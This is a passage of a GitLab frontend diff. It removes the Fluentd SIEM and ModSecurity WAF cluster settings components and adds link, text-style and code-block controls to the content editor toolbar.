- return value === null ? this[key] : value;
- });
- eventHub.$emit('setFluentdSettings', {
- ...newSettings,
- isEditingSettings: false,
- });
- },
- updateCurrentServerSideSettings(settings) {
- Object.keys(settings).forEach((key) => {
- if (this.currentServerSideSettings[key] === null) {
- this.currentServerSideSettings[key] = this[key];
- }
- });
- },
- setFluentdSettings(settings) {
- this.updateCurrentServerSideSettings(settings);
- eventHub.$emit('setFluentdSettings', {
- ...settings,
- isEditingSettings: true,
- });
- },
- selectProtocol(protocol) {
- this.setFluentdSettings({ protocol });
- },
- hostChanged(host) {
- this.setFluentdSettings({ host });
- },
- portChanged(port) {
- this.setFluentdSettings({ port: Number(port) });
- },
- wafLogChanged(wafLogEnabled) {
- this.setFluentdSettings({ wafLogEnabled });
- },
- ciliumLogChanged(ciliumLogEnabled) {
- this.setFluentdSettings({ ciliumLogEnabled });
- },
- },
-};
-</script>
-
-<template>
- <div>
- <gl-alert v-if="updateFailed" class="mb-3" variant="danger" :dismissible="false">
- {{
- s__(
- 'ClusterIntegration|Something went wrong while trying to save your settings. Please try again.',
- )
- }}
- </gl-alert>
- <div class="form-horizontal">
- <div class="form-group">
- <label for="fluentd-host">
- <strong>{{ s__('ClusterIntegration|SIEM Hostname') }}</strong>
- </label>
- <input
- id="fluentd-host"
- :value="host"
- type="text"
- class="form-control"
- @input="hostChanged($event.target.value)"
- />
- </div>
- <div class="form-group">
- <label for="fluentd-port">
- <strong>{{ s__('ClusterIntegration|SIEM Port') }}</strong>
- </label>
- <input
- id="fluentd-port"
- :value="port"
- type="number"
- class="form-control"
- @input="portChanged($event.target.value)"
- />
- </div>
- <div class="form-group">
- <label for="fluentd-protocol">
- <strong>{{ s__('ClusterIntegration|SIEM Protocol') }}</strong>
- </label>
- <gl-dropdown :text="protocolName" class="w-100">
- <gl-dropdown-item
- v-for="(value, index) in protocols"
- :key="index"
- @click="selectProtocol(value.toLowerCase())"
- >
- {{ value }}
- </gl-dropdown-item>
- </gl-dropdown>
- </div>
- <div class="form-group flex flex-wrap">
- <gl-form-checkbox :checked="wafLogEnabled" @input="wafLogChanged">
- <strong>{{ s__('ClusterIntegration|Send Web Application Firewall Logs') }}</strong>
- </gl-form-checkbox>
- <gl-form-checkbox :checked="ciliumLogEnabled" @input="ciliumLogChanged">
- <strong>{{ s__('ClusterIntegration|Send Container Network Policies Logs') }}</strong>
- </gl-form-checkbox>
- </div>
- <div v-if="showButtons" class="gl-mt-5 gl-display-flex">
- <gl-button
- ref="saveBtn"
- class="gl-mr-3"
- variant="success"
- category="primary"
- :loading="isSaving"
- :disabled="saveButtonDisabled"
- @click="updateApplication"
- >
- {{ saveButtonLabel }}
- </gl-button>
- <gl-button ref="cancelBtn" :disabled="saveButtonDisabled" @click="resetStatus">
- {{ __('Cancel') }}
- </gl-button>
- </div>
- </div>
- </div>
-</template>
diff --git a/app/assets/javascripts/clusters/components/ingress_modsecurity_settings.vue b/app/assets/javascripts/clusters/components/ingress_modsecurity_settings.vue
deleted file mode 100644
index 1ba28660e5c..00000000000
--- a/app/assets/javascripts/clusters/components/ingress_modsecurity_settings.vue
+++ /dev/null
@@ -1,266 +0,0 @@
-<script>
-import {
- GlAlert,
- GlSprintf,
- GlLink,
- GlToggle,
- GlButton,
- GlDropdown,
- GlDropdownItem,
- GlIcon,
-} from '@gitlab/ui';
-import { escape } from 'lodash';
-import modSecurityLogo from 'images/cluster_app_logos/gitlab.png';
-import { APPLICATION_STATUS, INGRESS, LOGGING_MODE, BLOCKING_MODE } from '~/clusters/constants';
-import eventHub from '~/clusters/event_hub';
-import { s__, __ } from '../../locale';
-
-const { UPDATING, UNINSTALLING, INSTALLING, INSTALLED, UPDATED } = APPLICATION_STATUS;
-
-export default {
- i18n: {
- modSecurityEnabled: s__('ClusterIntegration|ModSecurity enabled'),
- },
- title: __('Web Application Firewall'),
- modsecurityUrl: 'https://modsecurity.org/about.html',
- components: {
- GlAlert,
- GlSprintf,
- GlLink,
- GlToggle,
- GlButton,
- GlDropdown,
- GlDropdownItem,
- GlIcon,
- },
- props: {
- ingress: {
- type: Object,
- required: true,
- },
- ingressModSecurityHelpPath: {
- type: String,
- required: false,
- default: '',
- },
- modes: {
- type: Object,
- required: false,
- default: () => ({
- [LOGGING_MODE]: {
- name: s__('ClusterIntegration|Logging mode'),
- },
- [BLOCKING_MODE]: {
- name: s__('ClusterIntegration|Blocking mode'),
- },
- }),
- },
- },
- data() {
- return {
- modSecurityLogo,
- initialValue: null,
- initialMode: null,
- };
- },
- computed: {
- modSecurityEnabled: {
- get() {
- return this.ingress.modsecurity_enabled;
- },
- set(isEnabled) {
- if (this.initialValue === null) {
- this.initialValue = this.ingress.modsecurity_enabled;
- }
- eventHub.$emit('setIngressModSecurityEnabled', {
- id: INGRESS,
- modSecurityEnabled: isEnabled,
- });
- },
- },
- hasValueChanged() {
- return this.modSecurityEnabledChanged || this.modSecurityModeChanged;
- },
- modSecurityEnabledChanged() {
- return this.initialValue !== null && this.initialValue !== this.ingress.modsecurity_enabled;
- },
- modSecurityModeChanged() {
- return (
- this.ingress.modsecurity_enabled &&
- this.initialMode !== null &&
- this.initialMode !== this.ingress.modsecurity_mode
- );
- },
- ingressModSecurityDescription() {
- return escape(this.ingressModSecurityHelpPath);
- },
- saving() {
- return [UPDATING].includes(this.ingress.status);
- },
- saveButtonDisabled() {
- return (
- [UNINSTALLING, UPDATING, INSTALLING].includes(this.ingress.status) ||
- this.ingress.updateAvailable
- );
- },
- saveButtonLabel() {
- return this.saving ? __('Saving') : __('Save changes');
- },
- /**
- * Returns true either when:
- * - The application is getting updated.
- * - The user has changed some of the settings for an application which is
- * neither getting installed nor updated.
- */
- showButtons() {
- return this.saving || this.valuesChangedByUser;
- },
- modSecurityModeName() {
- return this.modes[this.ingress.modsecurity_mode].name;
- },
- valuesChangedByUser() {
- return this.hasValueChanged && [INSTALLED, UPDATED].includes(this.ingress.status);
- },
- },
- methods: {
- updateApplication() {
- eventHub.$emit('updateApplication', {
- id: INGRESS,
- params: {
- modsecurity_enabled: this.ingress.modsecurity_enabled,
- modsecurity_mode: this.ingress.modsecurity_mode,
- },
- });
- this.resetStatus();
- },
- resetStatus() {
- if (this.initialMode !== null) {
- // eslint-disable-next-line vue/no-mutating-props
- this.ingress.modsecurity_mode = this.initialMode;
- }
- if (this.initialValue !== null) {
- // eslint-disable-next-line vue/no-mutating-props
- this.ingress.modsecurity_enabled = this.initialValue;
- }
- this.initialValue = null;
- this.initialMode = null;
- eventHub.$emit('resetIngressModSecurityChanges', INGRESS);
- },
- selectMode(modeKey) {
- if (this.initialMode === null) {
- this.initialMode = this.ingress.modsecurity_mode;
- }
- eventHub.$emit('setIngressModSecurityMode', {
- id: INGRESS,
- modSecurityMode: modeKey,
- });
- },
- },
-};
-</script>
-
-<template>
- <div>
- <gl-alert
- v-if="ingress.updateFailed"
- class="mb-3"
- variant="danger"
- :dismissible="false"
- @dismiss="alert = null"
- >
- {{
- s__(
- 'ClusterIntegration|Something went wrong while trying to save your settings. Please try again.',
- )
- }}
- </gl-alert>
- <div class="gl-responsive-table-row-layout" role="row">
- <div class="table-section gl-mr-3 section-align-top" role="gridcell">
- <img
- :src="modSecurityLogo"
- :alt="`${$options.title} logo`"
- class="cluster-application-logo avatar s40"
- />
- </div>
- <div class="table-section section-wrap" role="gridcell">
- <strong>
- <gl-link :href="$options.modsecurityUrl" target="_blank">{{ $options.title }} </gl-link>
- </strong>
- <div class="form-group">
- <p class="form-text text-muted">
- <strong>
- <gl-sprintf
- :message="
- s__(
- 'ClusterIntegration|Real-time web application monitoring, logging and access control. %{linkStart}More information%{linkEnd}',
- )
- "
- >
- <template #link="{ content }">
- <gl-link :href="ingressModSecurityDescription" target="_blank"
- >{{ content }}
- </gl-link>
- </template>
- </gl-sprintf>
- </strong>
- </p>
- <div class="form-check form-check-inline mt-3">
- <gl-toggle
- v-model="modSecurityEnabled"
- :disabled="saveButtonDisabled"
- :label="$options.i18n.modSecurityEnabled"
- label-position="hidden"
- />
- </div>
- <div
- v-if="ingress.modsecurity_enabled"
- class="gl-responsive-table-row-layout mt-3"
- role="row"
- >
- <div class="table-section section-wrap" role="gridcell">
- <strong>
- {{ s__('ClusterIntegration|Global default') }}
- <gl-icon name="earth" class="align-text-bottom" />
- </strong>
- <div class="form-group">
- <p class="form-text text-muted">
- <strong>
- {{
- s__(
- 'ClusterIntegration|Set the global mode for the WAF in this cluster. This can be overridden at the environmental level.',
- )
- }}
- </strong>
- </p>
- </div>
- <gl-dropdown :text="modSecurityModeName" :disabled="saveButtonDisabled">
- <gl-dropdown-item v-for="(mode, key) in modes" :key="key" @click="selectMode(key)">
- {{ mode.name }}
- </gl-dropdown-item>
- </gl-dropdown>
- </div>
- </div>
- <div v-if="showButtons" class="gl-mt-5 gl-display-flex">
- <gl-button
- variant="success"
- category="primary"
- data-qa-selector="save_ingress_modsecurity_settings"
- :loading="saving"
- :disabled="saveButtonDisabled"
- @click="updateApplication"
- >
- {{ saveButtonLabel }}
- </gl-button>
- <gl-button
- data-qa-selector="cancel_ingress_modsecurity_settings"
- :disabled="saveButtonDisabled"
- @click="resetStatus"
- >
- {{ __('Cancel') }}
- </gl-button>
- </div>
- </div>
- </div>
- </div>
- </div>
-</template>
diff --git a/app/assets/javascripts/clusters/components/remove_cluster_confirmation.vue b/app/assets/javascripts/clusters/components/remove_cluster_confirmation.vue
index 5cd9baf2c2b..b9c55409330 100644
--- a/app/assets/javascripts/clusters/components/remove_cluster_confirmation.vue
+++ b/app/assets/javascripts/clusters/components/remove_cluster_confirmation.vue
@@ -1,6 +1,6 @@
<script>
/* eslint-disable vue/no-v-html */
-import { GlModal, GlButton, GlFormInput, GlSprintf } from '@gitlab/ui';
+import { GlModal, GlButton, GlFormInput } from '@gitlab/ui';
import { escape } from 'lodash';
import csrf from '~/lib/utils/csrf';
import { s__, sprintf } from '~/locale';
@@ -30,7 +30,6 @@ export default {
GlModal,
GlButton,
GlFormInput,
- GlSprintf,
},
props: {
clusterPath: {
@@ -135,17 +134,6 @@ export default {
<div v-if="confirmCleanup">
{{ s__('ClusterIntegration|This will permanently delete the following resources:') }}
<ul>
- <li>
- {{ s__('ClusterIntegration|All installed applications and related resources') }}
- </li>
- <li>
- <gl-sprintf :message="s__('ClusterIntegration|The %{gitlabNamespace} namespace')">
- <template #gitlabNamespace>
- <!-- eslint-disable-next-line @gitlab/vue-require-i18n-strings -->
- <code>{{ 'gitlab-managed-apps' }}</code>
- </template>
- </gl-sprintf>
- </li>
<li>{{ s__('ClusterIntegration|Any project namespaces') }}</li>
<!-- eslint-disable @gitlab/vue-require-i18n-strings -->
<li><code>clusterroles</code></li>
diff --git a/app/assets/javascripts/clusters/constants.js b/app/assets/javascripts/clusters/constants.js
index 90ec3f2377c..846e5950b8b 100644
--- a/app/assets/javascripts/clusters/constants.js
+++ b/app/assets/javascripts/clusters/constants.js
@@ -55,7 +55,6 @@ export const CERT_MANAGER = 'cert_manager';
export const CROSSPLANE = 'crossplane';
export const PROMETHEUS = 'prometheus';
export const ELASTIC_STACK = 'elastic_stack';
-export const FLUENTD = 'fluentd';
export const APPLICATIONS = [
HELM,
@@ -66,7 +65,6 @@ export const APPLICATIONS = [
CERT_MANAGER,
PROMETHEUS,
ELASTIC_STACK,
- FLUENTD,
];
export const INGRESS_DOMAIN_SUFFIX = '.nip.io';
diff --git a/app/assets/javascripts/clusters/forms/components/integration_form.vue b/app/assets/javascripts/clusters/forms/components/integration_form.vue
index a344f9578fd..3f61a1b18a7 100644
--- a/app/assets/javascripts/clusters/forms/components/integration_form.vue
+++ b/app/assets/javascripts/clusters/forms/components/integration_form.vue
@@ -41,17 +41,10 @@ export default {
toggleEnabled: true,
envScope: '*',
baseDomainField: '',
- externalIp: '',
};
},
computed: {
- ...mapState([
- 'enabled',
- 'editable',
- 'environmentScope',
- 'baseDomain',
- 'applicationIngressExternalIp',
- ]),
+ ...mapState(['enabled', 'editable', 'environmentScope', 'baseDomain']),
canSubmit() {
return (
this.enabled !== this.toggleEnabled ||
@@ -64,7 +57,6 @@ export default {
this.toggleEnabled = this.enabled;
this.envScope = this.environmentScope;
this.baseDomainField = this.baseDomain;
- this.externalIp = this.applicationIngressExternalIp;
},
};
</script>
@@ -135,13 +127,6 @@ export default {
<gl-link :href="autoDevopsHelpPath" target="_blank">{{ content }}</gl-link>
</template>
</gl-sprintf>
- <div v-if="applicationIngressExternalIp" class="js-ingress-domain-help-text inline">
- {{ s__('ClusterIntegration|Alternatively, ') }}
- <gl-sprintf :message="s__('ClusterIntegration|%{externalIp}.nip.io')">
- <template #externalIp>{{ externalIp }}</template>
- </gl-sprintf>
- {{ s__('ClusterIntegration|can be used instead of a custom domain. ') }}
- </div>
<gl-sprintf
class="inline"
:message="s__('ClusterIntegration|%{linkStart}More information%{linkEnd}')"
diff --git a/app/assets/javascripts/clusters/forms/stores/state.js b/app/assets/javascripts/clusters/forms/stores/state.js
index 2a96590b5e7..74a00b97603 100644
--- a/app/assets/javascripts/clusters/forms/stores/state.js
+++ b/app/assets/javascripts/clusters/forms/stores/state.js
@@ -6,7 +6,6 @@ export default (initialState = {}) => {
editable: parseBoolean(initialState.editable),
environmentScope: initialState.environmentScope,
baseDomain: initialState.baseDomain,
- applicationIngressExternalIp: initialState.applicationIngressExternalIp,
autoDevopsHelpPath: initialState.autoDevopsHelpPath,
externalEndpointHelpPath: initialState.externalEndpointHelpPath,
};
diff --git a/app/assets/javascripts/clusters/services/clusters_service.js b/app/assets/javascripts/clusters/services/clusters_service.js
index 2a6c6965dab..333fb293a15 100644
--- a/app/assets/javascripts/clusters/services/clusters_service.js
+++ b/app/assets/javascripts/clusters/services/clusters_service.js
@@ -13,7 +13,6 @@ export default class ClusterService {
jupyter: this.options.installJupyterEndpoint,
knative: this.options.installKnativeEndpoint,
elastic_stack: this.options.installElasticStackEndpoint,
- fluentd: this.options.installFluentdEndpoint,
};
this.appUpdateEndpointMap = {
knative: this.options.updateKnativeEndpoint,
diff --git a/app/assets/javascripts/clusters/stores/clusters_store.js b/app/assets/javascripts/clusters/stores/clusters_store.js
index d45696c98c2..50689a6142f 100644
--- a/app/assets/javascripts/clusters/stores/clusters_store.js
+++ b/app/assets/javascripts/clusters/stores/clusters_store.js
@@ -13,7 +13,6 @@ import {
UPDATE_EVENT,
UNINSTALL_EVENT,
ELASTIC_STACK,
- FLUENTD,
} from '../constants';
import transitionApplicationState from '../services/application_state_machine';
@@ -55,12 +54,8 @@ export default class ClusterStore {
ingress: {
...applicationInitialState,
title: s__('ClusterIntegration|Ingress'),
- modsecurity_enabled: false,
- modsecurity_mode: null,
externalIp: null,
externalHostname: null,
- isEditingModSecurityEnabled: false,
- isEditingModSecurityMode: false,
updateFailed: false,
updateAvailable: false,
},
@@ -106,16 +101,6 @@ export default class ClusterStore {
...applicationInitialState,
title: s__('ClusterIntegration|Elastic Stack'),
},
- fluentd: {
- ...applicationInitialState,
- title: s__('ClusterIntegration|Fluentd'),
- host: null,
- port: null,
- protocol: null,
- wafLogEnabled: null,
- ciliumLogEnabled: null,
- isEditingSettings: false,
- },
cilium: {
...applicationInitialState,
title: s__('ClusterIntegration|GitLab Container Network Policies'),
@@ -219,12 +204,6 @@ export default class ClusterStore {
this.state.applications.ingress.externalIp = serverAppEntry.external_ip;
this.state.applications.ingress.externalHostname = serverAppEntry.external_hostname;
this.state.applications.ingress.updateAvailable = updateAvailable;
- if (!this.state.applications.ingress.isEditingModSecurityEnabled) {
- this.state.applications.ingress.modsecurity_enabled = serverAppEntry.modsecurity_enabled;
- }
- if (!this.state.applications.ingress.isEditingModSecurityMode) {
- this.state.applications.ingress.modsecurity_mode = serverAppEntry.modsecurity_mode;
- }
} else if (appId === CERT_MANAGER) {
this.state.applications.cert_manager.email =
this.state.applications.cert_manager.email || serverAppEntry.email;
@@ -257,14 +236,6 @@ export default class ClusterStore {
} else if (appId === ELASTIC_STACK) {
this.state.applications.elastic_stack.version = version;
this.state.applications.elastic_stack.updateAvailable = updateAvailable;
- } else if (appId === FLUENTD) {
- if (!this.state.applications.fluentd.isEditingSettings) {
- this.state.applications.fluentd.port = serverAppEntry.port;
- this.state.applications.fluentd.host = serverAppEntry.host;
- this.state.applications.fluentd.protocol = serverAppEntry.protocol;
- this.state.applications.fluentd.wafLogEnabled = serverAppEntry.waf_log_enabled;
- this.state.applications.fluentd.ciliumLogEnabled = serverAppEntry.cilium_log_enabled;
- }
}
});
}
diff --git a/app/assets/javascripts/confidential_merge_request/components/project_form_group.vue b/app/assets/javascripts/confidential_merge_request/components/project_form_group.vue
index 2f39bbacc7d..6b07b7e3772 100644
--- a/app/assets/javascripts/confidential_merge_request/components/project_form_group.vue
+++ b/app/assets/javascripts/confidential_merge_request/components/project_form_group.vue
@@ -1,7 +1,7 @@
<script>
import { GlIcon, GlLink, GlSprintf } from '@gitlab/ui';
import Api from '../../api';
-import { deprecatedCreateFlash as createFlash } from '../../flash';
+import createFlash from '../../flash';
import { __ } from '../../locale';
import state from '../state';
import Dropdown from './dropdown.vue';
@@ -79,7 +79,9 @@ export default {
this.selectProject(this.projects[0]);
})
.catch((e) => {
- createFlash(__('Error fetching forked projects. Please try again.'));
+ createFlash({
+ message: __('Error fetching forked projects. Please try again.'),
+ });
throw e;
});
},
diff --git a/app/assets/javascripts/content_editor/components/content_editor.vue b/app/assets/javascripts/content_editor/components/content_editor.vue
index 7896268acf0..c6ab2e189ef 100644
--- a/app/assets/javascripts/content_editor/components/content_editor.vue
+++ b/app/assets/javascripts/content_editor/components/content_editor.vue
@@ -17,8 +17,12 @@ export default {
};
</script>
<template>
- <div class="md md-area" :class="{ 'is-focused': contentEditor.tiptapEditor.isFocused }">
+ <div
+ data-testid="content-editor"
+ class="md-area"
+ :class="{ 'is-focused': contentEditor.tiptapEditor.isFocused }"
+ >
<top-toolbar class="gl-mb-4" :content-editor="contentEditor" />
- <tiptap-editor-content :editor="contentEditor.tiptapEditor" />
+ <tiptap-editor-content class="md" :editor="contentEditor.tiptapEditor" />
</div>
</template>
diff --git a/app/assets/javascripts/content_editor/components/toolbar_link_button.vue b/app/assets/javascripts/content_editor/components/toolbar_link_button.vue
new file mode 100644
index 00000000000..f706080eaa1
--- /dev/null
+++ b/app/assets/javascripts/content_editor/components/toolbar_link_button.vue
@@ -0,0 +1,96 @@
+<script>
+import {
+ GlDropdown,
+ GlDropdownForm,
+ GlButton,
+ GlFormInputGroup,
+ GlDropdownDivider,
+ GlDropdownItem,
+ GlTooltipDirective as GlTooltip,
+} from '@gitlab/ui';
+import { Editor as TiptapEditor } from '@tiptap/vue-2';
+import { hasSelection } from '../services/utils';
+
+export const linkContentType = 'link';
+
+export default {
+ components: {
+ GlDropdown,
+ GlDropdownForm,
+ GlFormInputGroup,
+ GlDropdownDivider,
+ GlDropdownItem,
+ GlButton,
+ },
+ directives: {
+ GlTooltip,
+ },
+ props: {
+ tiptapEditor: {
+ type: TiptapEditor,
+ required: true,
+ },
+ },
+ data() {
+ return {
+ linkHref: '',
+ };
+ },
+ computed: {
+ isActive() {
+ return this.tiptapEditor.isActive(linkContentType);
+ },
+ },
+ mounted() {
+ this.tiptapEditor.on('selectionUpdate', ({ editor }) => {
+ const { href } = editor.getAttributes(linkContentType);
+
+ this.linkHref = href;
+ });
+ },
+ methods: {
+ updateLink() {
+ this.tiptapEditor.chain().focus().unsetLink().setLink({ href: this.linkHref }).run();
+
+ this.$emit('execute', { contentType: linkContentType });
+ },
+ selectLink() {
+ const { tiptapEditor } = this;
+
+ // a selection has already been made by the user, so do nothing
+ if (!hasSelection(tiptapEditor)) {
+ tiptapEditor.chain().focus().extendMarkRange(linkContentType).run();
+ }
+ },
+ removeLink() {
+ this.tiptapEditor.chain().focus().unsetLink().run();
+
+ this.$emit('execute', { contentType: linkContentType });
+ },
+ },
+};
+</script>
+<template>
+ <gl-dropdown
+ v-gl-tooltip
+ :aria-label="__('Insert link')"
+ :title="__('Insert link')"
+ :toggle-class="{ active: isActive }"
+ size="small"
+ category="tertiary"
+ icon="link"
+ @show="selectLink()"
+ >
+ <gl-dropdown-form class="gl-px-3!">
+ <gl-form-input-group v-model="linkHref" :placeholder="__('Link URL')">
+ <template #append>
+ <gl-button variant="confirm" @click="updateLink()">{{ __('Apply') }}</gl-button>
+ </template>
+ </gl-form-input-group>
+ </gl-dropdown-form>
+ <gl-dropdown-divider v-if="isActive" />
+ <gl-dropdown-item v-if="isActive" @click="removeLink()">
+ {{ __('Remove link') }}
+ </gl-dropdown-item>
+ </gl-dropdown>
+</template>
diff --git a/app/assets/javascripts/content_editor/components/toolbar_text_style_dropdown.vue b/app/assets/javascripts/content_editor/components/toolbar_text_style_dropdown.vue
new file mode 100644
index 00000000000..473fc472c1b
--- /dev/null
+++ b/app/assets/javascripts/content_editor/components/toolbar_text_style_dropdown.vue
@@ -0,0 +1,75 @@
+<script>
+import { GlDropdown, GlDropdownItem, GlTooltipDirective as GlTooltip } from '@gitlab/ui';
+import { Editor as TiptapEditor } from '@tiptap/vue-2';
+import { __ } from '~/locale';
+import { TEXT_STYLE_DROPDOWN_ITEMS } from '../constants';
+
+export default {
+ components: {
+ GlDropdown,
+ GlDropdownItem,
+ },
+ directives: {
+ GlTooltip,
+ },
+ props: {
+ tiptapEditor: {
+ type: TiptapEditor,
+ required: true,
+ },
+ },
+ computed: {
+ activeItem() {
+ return TEXT_STYLE_DROPDOWN_ITEMS.find((item) =>
+ this.tiptapEditor.isActive(item.contentType, item.commandParams),
+ );
+ },
+ activeItemLabel() {
+ const { activeItem } = this;
+
+ return activeItem ? activeItem.label : this.$options.i18n.placeholder;
+ },
+ },
+ methods: {
+ execute(item) {
+ const { editorCommand, contentType, commandParams } = item;
+ const value = commandParams?.level;
+
+ if (editorCommand) {
+ this.tiptapEditor
+ .chain()
+ .focus()
+ [editorCommand](commandParams || {})
+ .run();
+ }
+
+ this.$emit('execute', { contentType, value });
+ },
+ isActive(item) {
+ return this.tiptapEditor.isActive(item.contentType, item.commandParams);
+ },
+ },
+ items: TEXT_STYLE_DROPDOWN_ITEMS,
+ i18n: {
+ placeholder: __('Text style'),
+ },
+};
+</script>
+<template>
+ <gl-dropdown
+ v-gl-tooltip="$options.i18n.placeholder"
+ size="small"
+ :disabled="!activeItem"
+ :text="activeItemLabel"
+ >
+ <gl-dropdown-item
+ v-for="(item, index) in $options.items"
+ :key="index"
+ is-check-item
+ :is-checked="isActive(item)"
+ @click="execute(item)"
+ >
+ {{ item.label }}
+ </gl-dropdown-item>
+ </gl-dropdown>
+</template>
diff --git a/app/assets/javascripts/content_editor/components/top_toolbar.vue b/app/assets/javascripts/content_editor/components/top_toolbar.vue
index b18649d4e57..07fdd3147e2 100644
--- a/app/assets/javascripts/content_editor/components/top_toolbar.vue
+++ b/app/assets/javascripts/content_editor/components/top_toolbar.vue
@@ -4,6 +4,8 @@ import { CONTENT_EDITOR_TRACKING_LABEL, TOOLBAR_CONTROL_TRACKING_ACTION } from '
import { ContentEditor } from '../services/content_editor';
import Divider from './divider.vue';
import ToolbarButton from './toolbar_button.vue';
+import ToolbarLinkButton from './toolbar_link_button.vue';
+import ToolbarTextStyleDropdown from './toolbar_text_style_dropdown.vue';
const trackingMixin = Tracking.mixin({
label: CONTENT_EDITOR_TRACKING_LABEL,
@@ -12,6 +14,8 @@ const trackingMixin = Tracking.mixin({
export default {
components: {
ToolbarButton,
+ ToolbarTextStyleDropdown,
+ ToolbarLinkButton,
Divider,
},
mixins: [trackingMixin],
@@ -35,6 +39,12 @@ export default {
<div
class="gl-display-flex gl-justify-content-end gl-pb-3 gl-pt-0 gl-border-b-solid gl-border-b-1 gl-border-b-gray-200"
>
+ <toolbar-text-style-dropdown
+ data-testid="text-styles"
+ :tiptap-editor="contentEditor.tiptapEditor"
+ @execute="trackToolbarControlExecution"
+ />
+ <divider />
<toolbar-button
data-testid="bold"
content-type="bold"
@@ -62,6 +72,11 @@ export default {
:tiptap-editor="contentEditor.tiptapEditor"
@execute="trackToolbarControlExecution"
/>
+ <toolbar-link-button
+ data-testid="link"
+ :tiptap-editor="contentEditor.tiptapEditor"
+ @execute="trackToolbarControlExecution"
+ />
<divider />
<toolbar-button
data-testid="blockquote"
@@ -73,6 +88,15 @@ export default {
@execute="trackToolbarControlExecution"
/>
<toolbar-button
+ data-testid="code-block"
+ content-type="codeBlock"
+ icon-name="doc-code"
+ editor-command="toggleCodeBlock"
+ :label="__('Insert a code block')"
+ :tiptap-editor="contentEditor.tiptapEditor"
+ @execute="trackToolbarControlExecution"
+ />
+ <toolbar-button
data-testid="bullet-list"
content-type="bulletList"
icon-name="list-bulleted"
diff --git a/app/assets/javascripts/content_editor/constants.js b/app/assets/javascripts/content_editor/constants.js
index 45ebd87dac9..7a5f1d3ed1f 100644
--- a/app/assets/javascripts/content_editor/constants.js
+++ b/app/assets/javascripts/content_editor/constants.js
@@ -1,4 +1,4 @@
-import { s__ } from '~/locale';
+import { s__, __ } from '~/locale';
export const PROVIDE_SERIALIZER_OR_RENDERER_ERROR = s__(
'ContentEditor|You have to provide a renderMarkdown function or a custom serializer',
@@ -8,3 +8,35 @@ export const CONTENT_EDITOR_TRACKING_LABEL = 'content_editor';
export const TOOLBAR_CONTROL_TRACKING_ACTION = 'execute_toolbar_control';
export const KEYBOARD_SHORTCUT_TRACKING_ACTION = 'execute_keyboard_shortcut';
export const INPUT_RULE_TRACKING_ACTION = 'execute_input_rule';
+
+export const TEXT_STYLE_DROPDOWN_ITEMS = [
+ {
+ contentType: 'heading',
+ commandParams: { level: 1 },
+ editorCommand: 'setHeading',
+ label: __('Heading 1'),
+ },
+ {
+ contentType: 'heading',
+ editorCommand: 'setHeading',
+ commandParams: { level: 2 },
+ label: __('Heading 2'),
+ },
+ {
+ contentType: 'heading',
+ editorCommand: 'setHeading',
+ commandParams: { level: 3 },
+ label: __('Heading 3'),
+ },
+ {
+ contentType: 'heading',
+ editorCommand: 'setHeading',
+ commandParams: { level: 4 },
+ label: __('Heading 4'),
+ },
+ {
+ contentType: 'paragraph',
+ editorCommand: 'setParagraph',
+ label: __('Normal text'),
+ },
+];
diff --git a/app/assets/javascripts/content_editor/extensions/code_block_highlight.js b/app/assets/javascripts/content_editor/extensions/code_block_highlight.js
index ce8bd57c7e3..50d72f4089a 100644
--- a/app/assets/javascripts/content_editor/extensions/code_block_highlight.js
+++ b/app/assets/javascripts/content_editor/extensions/code_block_highlight.js
@@ -1,12 +1,20 @@
import { CodeBlockLowlight } from '@tiptap/extension-code-block-lowlight';
+import * as lowlight from 'lowlight';
import { defaultMarkdownSerializer } from 'prosemirror-markdown/src/to_markdown';
-const extractLanguage = (element) => element.firstElementChild?.getAttribute('lang');
+const extractLanguage = (element) => element.getAttribute('lang');
const ExtendedCodeBlockLowlight = CodeBlockLowlight.extend({
addAttributes() {
return {
- ...this.parent(),
+ language: {
+ default: null,
+ parseHTML: (element) => {
+ return {
+ language: extractLanguage(element),
+ };
+ },
+ },
/* `params` is the name of the attribute that
prosemirror-markdown uses to extract the language
of a codeblock.
@@ -19,8 +27,16 @@ const ExtendedCodeBlockLowlight = CodeBlockLowlight.extend({
};
},
},
+ class: {
+ default: 'code highlight js-syntax-highlight',
+ },
};
},
+ renderHTML({ HTMLAttributes }) {
+ return ['pre', HTMLAttributes, ['code', {}, 0]];
+ },
+}).configure({
+ lowlight,
});
export const tiptapExtension = ExtendedCodeBlockLowlight;
diff --git a/app/assets/javascripts/content_editor/extensions/image.js b/app/assets/javascripts/content_editor/extensions/image.js
index 4f0109fd751..287216e68d5 100644
--- a/app/assets/javascripts/content_editor/extensions/image.js
+++ b/app/assets/javascripts/content_editor/extensions/image.js
@@ -2,8 +2,49 @@ import { Image } from '@tiptap/extension-image';
import { defaultMarkdownSerializer } from 'prosemirror-markdown/src/to_markdown';
const ExtendedImage = Image.extend({
- defaultOptions: { inline: true },
-});
+ addAttributes() {
+ return {
+ ...this.parent?.(),
+ src: {
+ default: null,
+ /*
+ * GitLab Flavored Markdown provides lazy loading for rendering images. As
+ * as result, the src attribute of the image may contain an embedded resource
+ * instead of the actual image URL. The image URL is moved to the data-src
+ * attribute.
+ */
+ parseHTML: (element) => {
+ const img = element.querySelector('img');
+
+ return {
+ src: img.dataset.src || img.getAttribute('src'),
+ };
+ },
+ },
+ alt: {
+ default: null,
+ parseHTML: (element) => {
+ const img = element.querySelector('img');
+
+ return {
+ alt: img.getAttribute('alt'),
+ };
+ },
+ },
+ };
+ },
+ parseHTML() {
+ return [
+ {
+ priority: 100,
+ tag: 'a.no-attachment-icon',
+ },
+ {
+ tag: 'img[src]',
+ },
+ ];
+ },
+}).configure({ inline: true });
export const tiptapExtension = ExtendedImage;
export const serializer = defaultMarkdownSerializer.nodes.image;
diff --git a/app/assets/javascripts/content_editor/extensions/link.js b/app/assets/javascripts/content_editor/extensions/link.js
index 9a2fa7a5c98..6f5f81cbf93 100644
--- a/app/assets/javascripts/content_editor/extensions/link.js
+++ b/app/assets/javascripts/content_editor/extensions/link.js
@@ -1,5 +1,36 @@
+import { markInputRule } from '@tiptap/core';
import { Link } from '@tiptap/extension-link';
import { defaultMarkdownSerializer } from 'prosemirror-markdown/src/to_markdown';
-export const tiptapExtension = Link;
+export const markdownLinkSyntaxInputRuleRegExp = /(?:^|\s)\[([\w|\s|-]+)\]\((?<href>.+?)\)$/gm;
+
+export const urlSyntaxRegExp = /(?:^|\s)(?<href>(?:https?:\/\/|www\.)[\S]+)(?:\s|\n)$/gim;
+
+const extractHrefFromMatch = (match) => {
+ return { href: match.groups.href };
+};
+
+export const extractHrefFromMarkdownLink = (match) => {
+ /**
+ * Removes the last capture group from the match to satisfy
+ * tiptap markInputRule expectation of having the content as
